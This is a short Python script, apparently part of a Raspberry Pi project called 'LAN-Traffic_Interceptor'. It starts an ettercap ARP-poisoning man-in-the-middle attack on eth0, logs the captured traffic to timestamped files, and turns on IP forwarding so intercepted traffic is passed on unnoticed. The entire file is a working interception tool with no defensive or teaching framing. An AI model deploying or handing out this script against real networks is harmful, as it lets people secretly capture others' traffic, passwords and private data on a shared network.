 # If you don't have the module installed and if you are using windows, then press Win+R and type cmd then type pip install(name of the modules required)
import subprocess  
import time
import os
log = time.strftime("/home/pi/LAN-Traffic_Interceptor/arp/log/%Y%m%d-%H%M%S")
subprocess.Popen(["sudo","ettercap","-Tq","-M","arp","-i","eth0","-L", log])
time.sleep(10)
os.system('sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"')
